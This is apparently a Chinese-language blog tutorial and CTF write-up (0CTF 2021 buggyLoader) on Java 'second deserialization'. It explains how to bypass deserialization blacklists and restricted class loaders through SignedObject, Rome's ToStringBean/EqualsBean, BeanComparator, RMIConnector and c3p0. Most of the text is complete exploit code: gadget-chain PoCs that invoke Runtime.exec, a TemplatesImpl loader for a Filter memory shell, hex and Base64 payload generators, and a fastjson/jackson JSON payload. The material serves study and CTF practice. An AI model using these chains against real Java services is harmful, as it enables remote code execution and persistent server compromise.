Java二次反序列化 引子 二次反序列化常用于绕过第一次readObject()时的黑名单机制,用于反序列化出一个题目认为安全的对象,但是经过一些列方法调用会再次触发一次readObject(),此时的反序列化便不再有任何限制了
此外,一些题目可能会重写readObject()逻辑,原生的ObjectInputStream类中,readObject()方法后面会调用resolveClass()方法进行类加载,一般使用Class.forName()
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } } }
Class.forName()方法几乎可以在运行时加载任何类,是默认的反序列化类加载方法,但是有些题目可能会使用自定义的类加载,使用loadClass()方法加载类,比如下面
public class MyObjectInputStream extends ObjectInputStream { private ClassLoader classLoader; public MyObjectInputStream (InputStream inputStream) throws Exception { super (inputStream); URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); this .classLoader = new URLClassLoader (urls); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class clazz = this .classLoader.loadClass(desc.getName()); return clazz; } }
使用loadClass()的弊端在于,URLClassLoader使用findClass()从.class字节码文件中加载类,而Java的基本类型如数组是在虚拟机启动时内建,没有所谓的字节码文件供findClass()查找,就无法加载数组类。而几乎所有反序列化链的终点如TemplatesImpl(字节数组加载类)、ChainedTransformer(Transformer数组链式调用)都使用了数组,导致其限制了反序列化攻击
protected Class<?> findClass(final String name) throws ClassNotFoundException { final Class<?> result; try { result = AccessController.doPrivileged( new PrivilegedExceptionAction <Class<?>>() { public Class<?> run() throws ClassNotFoundException { String path = name.replace('.' , '/' ).concat(".class" ); Resource res = ucp.getResource(path, false ); if (res != null ) { try { return defineClass(name, res); } catch (IOException e) { throw new ClassNotFoundException (name, e); } } else { return null ; } } }, acc); } catch (java.security.PrivilegedActionException pae) { throw (ClassNotFoundException) pae.getException(); } if (result == null ) { throw new ClassNotFoundException (name); } return result; }
二次反序列化绕过 经过前面的分析,我们若想要继续构造Gadget链,要么完全避免使用数组类,而这几乎是不可能的。那就只能寻找再次触发readObject()机会,即二次反序列化
SignedObject 该类二次反序列化了一个字节数组,故只能用于黑名单绕过
在该类的getObject()方法中,进行了一次反序列化
public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
cotent的声明getObject()
接下来看如何调用到
ToStringBean 该路线依赖ToStringBean类,是Rome依赖下的类。ToStringBean.toString(String)内有反射调用getter方法的逻辑
private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this ._beanClass); if (pds != null ) { for (int i = 0 ; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value = pReadMethod.invoke(this ._obj, NO_PARAMS); this .printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception ex) { sb.append("\n\nEXCEPTION: Could not complete " + this ._obj.getClass() + ".toString(): " + ex.getMessage() + "\n" ); } return sb.toString(); }
该段代码通过反射调用了_obj字段的getter方法,让_obj为SignedObject,就会触发其所有的getter方法,自然就有getObject()
ToStringBean.toString(String)又被ToStringBean.toString()调用
public String toString () { Stack stack = (Stack)PREFIX_TL.get(); String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek()); String prefix; if (tsInfo == null ) { String className = this ._obj.getClass().getName(); prefix = className.substring(className.lastIndexOf("." ) + 1 ); } else { prefix = tsInfo[0 ]; tsInfo[1 ] = prefix; } return this .toString(prefix); }
已经可以结束了,使用BadAttributeValueExpException 作为入口类即可,这已经讲过很多次了
所以触发二次反序列化的Poc
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null );Field val = badAttributeValueExpException.getClass().getDeclaredField("val" );val.setAccessible(true ); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" );kpg.initialize(2048 ); KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject (evilObject, kp.getPrivate(), Signature.getInstance("DSA" ));ToStringBean toStringBean = new ToStringBean (signedObject.getClass(), signedObject);val.set(badAttributeValueExpException, toStringBean);
这里的evilObject就是真正反序列化出来执行恶意方法的类
比如,与CC6结合的Poc
package com.yxxx.javasec.deserialize;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.junit.Test;public class ForTest { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map hashMap = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(),"any" ); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); Class clazz = tiedMapEntry.getClass(); Field map = clazz.getDeclaredField("map" ); map.setAccessible(true ); map.set(tiedMapEntry, lazyMap); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field val = badAttributeValueExpException.getClass().getDeclaredField("val" ); val.setAccessible(true ); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(2048 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (hashSet, kp.getPrivate(), Signature.getInstance("DSA" )); ToStringBean toStringBean = new ToStringBean (signedObject.getClass(), signedObject); val.set(badAttributeValueExpException, toStringBean); serialize(badAttributeValueExpException); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("twiceUnserialize.ser" ))); oos.writeObject(object); } @Test public void deserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("twiceUnserialize.ser" ))); ois.readObject(); } }
至于toString()的触发,其实还有挺多线路,但是BadAttributeValueExpException起点已经足够简单
EqualsBean 该类也是Rome依赖下的,EqualsBean.beanEquals()
public boolean beanEquals (Object obj) { Object bean1 = this ._obj; Object bean2 = obj; boolean eq; if (obj == null ) { eq = false ; } else if (bean1 == null && obj == null ) { eq = true ; } else if (bean1 != null && obj != null ) { if (!this ._beanClass.isInstance(obj)) { eq = false ; } else { eq = true ; try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this ._beanClass); if (pds != null ) { for (int i = 0 ; eq && i < pds.length; ++i) { Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value1 = pReadMethod.invoke(bean1, NO_PARAMS); Object value2 = pReadMethod.invoke(bean2, NO_PARAMS); eq = this .doEquals(value1, value2); } } } } catch (Exception ex) { throw new RuntimeException ("Could not execute equals()" , ex); } } } else { eq = false ; } return eq; }
这里几乎和上一个ToStringBean如出一辙,也是getter方法调用到SignedObject.getObject(),该方法的上层为EqualsBean.equals()
public boolean equals (Object obj) { return this .beanEquals(obj); }
继续往上,找到Hashtable.readObject(),CC7研究过,该方法一路调用到了equals()
结合CC6的Poc
package com.yxxx.javasec.deserialize;import com.sun.syndication.feed.impl.EqualsBean;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.HashSet;import java.util.Hashtable;import java.util.Map;import org.junit.Test;public class ForTest { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map hashMap = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(),"any" ); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); Class clazz = tiedMapEntry.getClass(); Field map = clazz.getDeclaredField("map" ); map.setAccessible(true ); map.set(tiedMapEntry, lazyMap); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(2048 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject=new SignedObject (hashSet, kp.getPrivate(), Signature.getInstance("DSA" )); EqualsBean bean = new EqualsBean (String.class, "12" ); HashMap<String, Object> hashMap1 = new HashMap <>(); hashMap1.put("yy" , bean); hashMap1.put("zZ" , signedObject); HashMap<String, Object> hashMap2 = new HashMap <>(); hashMap2.put("yy" , signedObject); hashMap2.put("zZ" , bean); Hashtable<Map<?,?>, Integer> hashtable = new Hashtable <>(); hashtable.put(hashMap1,1 ); hashtable.put(hashMap2,1 ); Field _beanClass = bean.getClass().getDeclaredField("_beanClass" ); _beanClass.setAccessible(true ); _beanClass.set(bean, signedObject.getClass()); Field _obj = bean.getClass().getDeclaredField("_obj" ); _obj.setAccessible(true ); _obj.set(bean, signedObject); serialize(hashtable); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("twiceUnserialize.ser" ))); oos.writeObject(object); } @Test public void deserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("twiceUnserialize.ser" ))); ois.readObject(); } }
由于要触发EqualsBean.equals(),故不再将HashMap修饰为LazyMap,LazyMap调用equals()需要一个Transformer对象
BeanComparator 是的,CommonsBeanutils依赖下也可以是触发SignedObject.getObject()的选择,毕竟CB链本身就是依靠调用getter方法实现代码执行的
所以有Poc
package com.yxxx.javasec.deserialize;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.*;import org.junit.Test;public class ForTest { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map hashMap = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(),"any" ); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); Class clazz = tiedMapEntry.getClass(); Field map = clazz.getDeclaredField("map" ); map.setAccessible(true ); map.set(tiedMapEntry, lazyMap); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(2048 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject=new SignedObject (hashSet, kp.getPrivate(), Signature.getInstance("DSA" )); BeanComparator<Object> beanComparator = new BeanComparator <>(); beanComparator.setProperty("object" ); PriorityQueue<Object> priorityQueue = new PriorityQueue <>(); priorityQueue.add(1 ); priorityQueue.add(2 ); Class<?> clazzz = priorityQueue.getClass(); Field field = clazzz.getDeclaredField("comparator" ); field.setAccessible(true ); field.set(priorityQueue, beanComparator); Field queue = clazzz.getDeclaredField("queue" ); queue.setAccessible(true ); queue.set(priorityQueue, new Object []{signedObject, signedObject}); serialize(priorityQueue); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("twiceUnserialize.ser" ))); oos.writeObject(object); } @Test public void deserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("twiceUnserialize.ser" ))); ois.readObject(); } }
RmiConnector 该类的二次反序列化触发点在findRMIServerJRMP()方法中
private RMIServer findRMIServerJRMP (String base64, Map<String, ?> env, boolean isIiop) throws IOException { final byte [] serialized; try { serialized = base64ToByteArray(base64); } catch (IllegalArgumentException e) { throw new MalformedURLException ("Bad BASE64 encoding: " + e.getMessage()); } final ByteArrayInputStream bin = new ByteArrayInputStream (serialized); final ClassLoader loader = EnvHelp.resolveClientClassLoader(env); final ObjectInputStream oin = (loader == null ) ? new ObjectInputStream (bin) : new ObjectInputStreamWithLoader (bin, loader); final Object stub; try { stub = oin.readObject(); } catch (ClassNotFoundException e) { throw new MalformedURLException ("Class not found: " + e); } return (RMIServer)stub; }
由于该类在readObject()使用原生默认方法,不受自定义loadClass()影响,常用于进行如此的绕过
调用该方法的上层为findRMIServer()
private RMIServer findRMIServer (JMXServiceURL directoryURL, Map<String, Object> environment) throws NamingException, IOException { final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true ); if (isIiop) { environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment)); } String path = directoryURL.getURLPath(); int end = path.indexOf(';' ); if (end < 0 ) end = path.length(); if (path.startsWith("/jndi/" )) return findRMIServerJNDI(path.substring(6 ,end), environment, isIiop); else if (path.startsWith("/stub/" )) return findRMIServerJRMP(path.substring(6 ,end), environment, isIiop); else if (path.startsWith("/ior/" )) { if (!IIOPHelper.isAvailable()) throw new IOException ("iiop protocol not available" ); return findRMIServerIIOP(path.substring(5 ,end), environment, isIiop); } else { final String msg = "URL path must begin with /jndi/ or /stub/ " + "or /ior/: " + path; throw new MalformedURLException (msg); } }
有个条件是path需要以/stub/开头,而path截断前6个字符剩下的内容则作为findRMIServerJRMP()的形参base64传入
由于要找到directoryURL的来源,继续找到上层connnect()方法,该方法说明directoryURL来自字段jmxServiceURL
这个connect()是有参方法,其实还有一个无参公开重载方法
public void connect () throws IOException { connect(null ); }
无参的特点可以在loadClass()执行一次代码时指向该方法,最终造成二次反序列化
回到刚才,jmxServiceURL是一个JMXServiceURL实例,前面对其调用getURLPath()其实是取出了其urlPath字段
public String getURLPath () { return urlPath; }
urlPath为字符串类型,只要我们能够控制其以/stub/开头并接上要加载类的字节码Base64编码,就能触发二次反序列化
至于urlPath的格式,在JMXServiceURL的构造方法中
要求以service:jmx:开头,除此以外
还要求前缀后接一个协议名://的格式,如rmi://
但其实后面给urlPath赋值把前面都截断了,但是为了避免抛出异常,还是需要依照格式来
所以前半段的Poc
package com.yxxx.javasec.deserialize;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.*;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.junit.Test;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;public class ForTest { public static void main (String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath" ); urlPath.setAccessible(true ); urlPath.set(jmxServiceURL, "/stub/{Base64EncodeString}" ); RMIConnector rmiConnector=new RMIConnector (jmxServiceURL,null ); InvokerTransformer invokerTransformer = new InvokerTransformer ("connect" , null , null ); Map hashMap = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(),rmiConnector); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); Class clazz = tiedMapEntry.getClass(); Field map = clazz.getDeclaredField("map" ); map.setAccessible(true ); map.set(tiedMapEntry, lazyMap); serialize(hashSet); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("twiceUnserialize.ser" ))); oos.writeObject(object); } @Test public void deserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("twiceUnserialize.ser" ))); ois.readObject(); } }
调试发现能够走到findRMIServerJRMP()方法
WrapperConnectionPoolDataSource 该类为c3p0依赖下的类,由于该类的触发需要setter方法,一般配合jackson或fastjson来利用
该类在创建时设置了一个PropertyListener属性监听器,当类中的字段发生变化时,该监听器会触发一定行为
public WrapperConnectionPoolDataSource (boolean autoregister) { super ( autoregister ); setUpPropertyListeners(); try { this .userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this .getUserOverridesAsString() ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this .getUserOverridesAsString(), e ); } }
该监听器的运行方法vetoableChange(),可见当属性名等同于userOverridesAsString时,会进入一个else分支
public void vetoableChange ( PropertyChangeEvent evt ) throws PropertyVetoException { String propName = evt.getPropertyName(); Object val = evt.getNewValue(); if ( "connectionTesterClassName" .equals( propName ) ) { try { recreateConnectionTester( (String) val ); } catch ( Exception e ) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e ); throw new PropertyVetoException ("Could not instantiate connection tester class with name '" + val + "'." , evt); } } else if ("userOverridesAsString" .equals( propName )) { try { WrapperConnectionPoolDataSource.this .userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e ); throw new PropertyVetoException ("Failed to parse stringified userOverrides. " + val, evt); } } }
分支中的C3P0ImplUtils.parseUserOverridesAsString()传入的val为对应字段名的值,进入该方法
public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
方法中将一个16进制字符串userOverridesAsString转化为了字节数组,转化前16进制字符串扣除了前缀和最后一个字符,前缀HASM_HEADER为常量HexAsciiSerializedMap,进入SerializableUtils.fromByteArray()
public static Object fromByteArray (byte [] var0) throws IOException, ClassNotFoundException { Object var1 = deserializeFromByteArray(var0); return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1; }
进入deserializeFromByteArray()
public static Object deserializeFromByteArray (byte [] var0) throws IOException, ClassNotFoundException { ObjectInputStream var1 = new ObjectInputStream (new ByteArrayInputStream (var0)); return var1.readObject(); }
可以看到调用了原生readObject(),为二次反序列化的起点
所以第一次反序列化的终点就是setUpPropertyListeners(),另外,JSON反序列化一般是先创建空对象再逐一赋值,这其中就涉及到setter方法的调用,当反序列化过程尝试修改字段值时,就会触发监听器的行为,该类的setUpPropertyListeners()继承自父类
public synchronized void setUserOverridesAsString ( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this .userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString" , oldVal, userOverridesAsString ); this .userOverridesAsString = userOverridesAsString; }
最后的序列化对象
{ "a" : { "@type" : "java.lang.Class" , "val" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" } , "b" : { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap{HEX_STRING};" } }
测试Poc,尝试二次反序列化一个Map
public class ForTest { public static void main (String[] args) throws Exception { String json = "{\n" + " \"@class\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"userOverridesAsString\": \"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740015757365724f76657272696465734173537472696e67740015486578417363696953657269616c697a65644d617078;\"\n" + "}" ; ObjectMapper mapper = new ObjectMapper (); mapper.enableDefaultTyping( ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY ); Object obj = mapper.readValue(json, Object.class); }
发现是成功的
引例:[0CTF 2021] buggyLoader docker镜像:BabyTeam1024/0ctf_buggyLoader
查看源码,/basic路由接收data参数
@Controller public class IndexController { @RequestMapping({"/basic"}) public String greeting (@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte [] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream (b); ObjectInputStream objectInputStream = new MyObjectInputStream (inputStream); String name = objectInputStream.readUTF(); int year = objectInputStream.readInt(); if (name.equals("SJTU" ) && year == 1896 ) { objectInputStream.readObject(); } return "index" ; } }
此处反序列化统一使用自定义的输入流的方法MyObjectInputStream.readObject(),翻看源码得到
public class MyObjectInputStream extends ObjectInputStream { private ClassLoader classLoader; public MyObjectInputStream (InputStream inputStream) throws Exception { super (inputStream); URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); this .classLoader = new URLClassLoader (urls); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class clazz = this .classLoader.loadClass(desc.getName()); return clazz; } }
这里就是限制的地方,由于使用URLClassLoader.loadClass(),数组类的加载受到了限制,于是尝试通过RmiConnector进行二次反序列化
源码用了CC的依赖,先把后半段的逻辑写上,这里用Filter内存马
后半段我把CC5改成类加载逻辑
byte [] bytes = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\UniJava\\target\\classes\\InjectClass.class" ));TemplatesImpl templates = new TemplatesImpl ();Class clazz = templates.getClass();Field name = clazz.getDeclaredField("_name" );name.setAccessible(true ); name.set(templates, "any" ); Field bytecodes = clazz.getDeclaredField("_bytecodes" );bytecodes.setAccessible(true ); bytecodes.set(templates, new byte [][]{bytes}); Field tfactory = clazz.getDeclaredField("_tfactory" );tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);Map map = new HashMap ();Map lazyMap = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"test" );BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null );Class clazzz = badAttributeValueExpException.getClass();Field val = clazzz.getDeclaredField("val" );val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry);
定义的Base64编码和16进制转码方法
public static String serialize (Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); byte [] bytes = baos.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } public static String objectToHex (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeUTF("SJTU" ); oos.writeInt(1896 ); oos.writeObject(obj); byte [] bytes = baos.toByteArray(); StringBuilder hex = new StringBuilder (); for (byte b : bytes) { hex.append(String.format("%02x" , b)); } return hex.toString(); }
前面是RmiConnector的逻辑,最后输出
String Base64encode = serialize(badAttributeValueExpException);JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" );Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath" );urlPath.setAccessible(true ); urlPath.set(jmxServiceURL, "/stub/" +Base64encode); RMIConnector rmiConnector=new RMIConnector (jmxServiceURL,null ); InvokerTransformer invokerTransformer1 = new InvokerTransformer ("connect" , null , null );Map hashMap = new HashMap ();LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer1);TiedMapEntry tiedMapEntry2 = new TiedMapEntry (new HashMap <>(),rmiConnector);HashSet hashSet = new HashSet ();hashSet.add(tiedMapEntry2); Class clazzzz = tiedMapEntry2.getClass();Field map2 = clazzzz.getDeclaredField("map" );map2.setAccessible(true ); map2.set(tiedMapEntry2, lazyMap2); String hex = objectToHex(hashSet);System.out.println(hex);
全链如下
package com.yxxx.javasec.deserialize;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.*;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;public class ForTest { public static void main (String[] args) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\UniJava\\target\\classes\\InjectClass.class" )); TemplatesImpl templates = new TemplatesImpl (); Class clazz = templates.getClass(); Field name = clazz.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "any" ); Field bytecodes = clazz.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, new byte [][]{bytes}); Field tfactory = clazz.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"test" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class clazzz = badAttributeValueExpException.getClass(); Field val = clazzz.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); String Base64encode = serialize(badAttributeValueExpException); JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); Field urlPath = jmxServiceURL.getClass().getDeclaredField("urlPath" ); urlPath.setAccessible(true ); urlPath.set(jmxServiceURL, "/stub/" +Base64encode); RMIConnector rmiConnector=new RMIConnector (jmxServiceURL,null ); InvokerTransformer invokerTransformer1 = new InvokerTransformer ("connect" , null , null ); Map hashMap = new HashMap (); LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap, invokerTransformer1); TiedMapEntry tiedMapEntry2 = new TiedMapEntry (new HashMap <>(),rmiConnector); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry2); Class clazzzz = tiedMapEntry2.getClass(); Field map2 = clazzzz.getDeclaredField("map" ); map2.setAccessible(true ); map2.set(tiedMapEntry2, lazyMap2); String hex = objectToHex(hashSet); System.out.println(hex); } public static String serialize (Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); byte [] bytes = baos.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } public static String objectToHex (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeUTF("SJTU" ); oos.writeInt(1896 ); oos.writeObject(obj); byte [] bytes = baos.toByteArray(); StringBuilder hex = new StringBuilder (); for (byte b : bytes) { hex.append(String.format("%02x" , b)); } return hex.toString(); } }
运行获得payload,注入数据
docker后台显示成功
获取flag
很有启发性的一道题,虽然经过五年但还是学习二次反序列化很好资料